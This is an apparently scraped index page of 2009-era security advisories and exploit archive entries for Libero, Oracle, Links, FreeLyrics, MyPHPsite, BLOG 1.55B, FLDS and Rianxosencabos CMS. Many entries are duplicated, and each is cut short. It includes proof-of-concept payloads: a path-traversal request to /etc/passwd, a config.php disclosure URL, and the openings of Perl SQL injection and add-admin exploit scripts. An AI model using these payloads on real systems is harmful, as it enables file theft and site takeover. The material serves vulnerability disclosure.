Libero Cross Site Scripting

Libero Cross-Site Scripting Vulnerability - Security Advisory - SOS-09-001 Release Date. 23-Feb-2009 Vendor Notification Date. 20-Oct-2008 Product. Libero Platform. Windows verified, possibly others Affected versions. Libero v5.3 SP5 verified, possibly others Severity Rating. Medium Impact...

iDefense Security Advisory 01.13.09: Oracle Database 10g R2 Summary Advisor Arbitrary File Rewrite Vulnerability

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 iDefense Security Advisory 01.12.09 http://labs.idefense.com/intelligence/vulnerabilities/ Jan 12, 2009 I. BACKGROUND Oracle Database Server is a family of database products that range from personal databases to enterprise solutions. Further informati...

Links SSL证书验证漏洞

BUGTRAQ ID: 33108 Links是一款图形和文本模式的web浏览器。 Links浏览器没有验证所接收到的证书，即使用户访问的网页证书已过期、未经可信任的CA签名、或证书的主机名错误，也不会出现任何警告信息。这有助于攻击者扮演为可信任的网站，执行中间人攻击。 0 Twibright Labs Links 2.2 厂商补丁： Twibright Labs -------------- 目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本： a href=http://links.twibright.com/ target=blank...

FreeLyrics 1.0 File Disclosure

Piker FreeLyrics Remote Source Code Disclosure Vulnerability Affected software: FreeLyrics Vendor: http://lyrics.sourceforge.net/ Risk: Medium http://target/path/source.php?p=FILE PoC: http://target/path/source.php?p=config.php Found by Piker piker0x90atgmaildotcom D.O.M Labs - Security Researche...

MyPHPsite Local File Inclusion

Piker MyPHPSite Local File Inclusion Vulnerability Affected software: MyPHPSite Vendor: www.myphpsite.org Risk: Medium http://target/path/index.php?mod=LFI%00 PoC: http://target/path/index.php?mod=../../../../../../etc/passwd%00 Found by Piker piker0x90atgmaildotcom D.O.M Labs - Security...

BLOG 1.55B File Upload

Piker BLOG v1.55B Arbitrary File Upload Vulnerability Affected software: BLOG v1.55B prior versions can be affected Vendor: http://sourceforge.net/projects/kafooeyblog/ Risk: High http://target/path/lib/imageupload.php This script only checks if the file you are uploading is not a text/plain file...

BLOG 1.55B (image_upload.php) Arbitrary File Upload Vulnerability

No description provided by source. Piker BLOG v1.55B Arbitrary File Upload Vulnerability Affected software: BLOG v1.55B prior versions can be affected Vendor: http://sourceforge.net/projects/kafooeyblog/ Risk: High http://target/path/lib/imageupload.php This script only checks if the file you are...

BLOG 1.55B - 'image_upload.php' Arbitrary File Upload

Piker BLOG v1.55B Arbitrary File Upload Vulnerability Affected software: BLOG v1.55B prior versions can be affected Vendor: http://sourceforge.net/projects/kafooeyblog/ Risk: High http://target/path/lib/imageupload.php This script only checks if the file you are uploading is not a text/plain file...

FreeLyrics 1.0 (source.php p) Remote File Disclosure Vulnerability

No description provided by source. Piker FreeLyrics Remote Source Code Disclosure Vulnerability Affected software: FreeLyrics Vendor: http://lyrics.sourceforge.net/ Risk: Medium http://target/path/source.php?p=FILE PoC: http://target/path/source.php?p=config.php Found by Piker...

FreeLyrics 1.0 - Remote File Disclosure

Piker FreeLyrics Remote Source Code Disclosure Vulnerability Affected software: FreeLyrics Vendor: http://lyrics.sourceforge.net/ Risk: Medium http://target/path/source.php?p=FILE PoC: http://target/path/source.php?p=config.php Found by Piker piker0x90atgmaildotcom D.O.M Labs - Security Researche...

FreeLyrics 1.0 - Remote File Disclosure

FreeLyrics 1.0 - Remote File Disclosure Piker FreeLyrics Remote Source Code Disclosure Vulnerability Affected software: FreeLyrics Vendor: http://lyrics.sourceforge.net/ Risk: Medium http://target/path/source.php?p=FILE PoC: http://target/path/source.php?p=config.php Found by Piker...

MyPHPsite (index.php mod) Local File Inclusion Vulnerability

No description provided by source. Piker MyPHPSite Local File Inclusion Vulnerability Affected software: MyPHPSite Vendor: www.myphpsite.org Risk: Medium http://target/path/index.php?mod=LFI%00 PoC: http://target/path/index.php?mod=../../../../../../etc/passwd%00 Found by Piker...

MyPHPsite - Local File Inclusion

Piker MyPHPSite Local File Inclusion Vulnerability Affected software: MyPHPSite Vendor: www.myphpsite.org Risk: Medium http://target/path/index.php?mod=LFI%00 PoC: http://target/path/index.php?mod=../../../../../../etc/passwd%00 Found by Piker piker0x90atgmaildotcom D.O.M Labs - Security...

MyPHPsite - Local File Inclusion

MyPHPsite - Local File Inclusion Piker MyPHPSite Local File Inclusion Vulnerability Affected software: MyPHPSite Vendor: www.myphpsite.org Risk: Medium http://target/path/index.php?mod=LFI%00 PoC: http://target/path/index.php?mod=../../../../../../etc/passwd%00 Found by Piker piker0x90atgmaildotc...

FLDS 1.2a report.php (linkida) Remote SQL Injection Exploit

No description provided by source. !/usr/bin/perl -w Free Links Directory Script V1.2a Remote SQL Injection Exploit written by ka0x ka0x01alt+64gmail.com D.O.M Labs Security Researchers - www.domlabs.org - Vuln code report.php: if$COOKIE'logged'=="" ... // login else $linkida = $GET'linkid';...

FLDS 1.2a - report.php SQL Injection

FLDS 1.2a - report.php SQL Injection !/usr/bin/perl -w Free Links Directory Script V1.2a Remote SQL Injection Exploit written by ka0x D.O.M Labs Security Researchers - www.domlabs.org - Vuln code report.php: if$COOKIE'logged'=="" ... // login else $linkida = $GET'linkid'; $linkinfo =...

Rianxosencabos CMS 0.9 Remote Blind SQL Injection Vulnerability

No description provided by source. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Rianxosencabos CMS 0.9 Remote Blind SQL Injection Vulnerability -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- / Script: Rianxosencabos / Version: 0.9 / File affected:...

Rianxosencabos CMS 0.9 - Blind SQL Injection

Rianxosencabos CMS 0.9 - Blind SQL Injection -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Rianxosencabos CMS 0.9 Remote Blind SQL Injection Vulnerability -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- / Script: Rianxosencabos / Version: 0.9 / File affected:...

Rianxosencabos CMS 0.9 Remote Add Admin Exploit

No description provided by source. !/usr/bin/perl -w Rianxosencabos CMS 0.9 Remote Add Admin Exploit Download: http://downloads.sourceforge.net/rsccms/rsccms.tar.gz written by ka0x ka0x01 at gmail dot com D.O.M Labs - Security Researchers - www.domlabs.org - use LWP::UserAgent; my $host, $login,...

Rianxosencabos CMS 0.9 - Remote Add Admin

Rianxosencabos CMS 0.9 - Remote Add Admin !/usr/bin/perl -w Rianxosencabos CMS 0.9 Remote Add Admin Exploit Download: http://downloads.sourceforge.net/rsccms/rsccms.tar.gz written by ka0x D.O.M Labs - Security Researchers - www.domlabs.org - use LWP::UserAgent; my $host, $login, $pass, $mail,...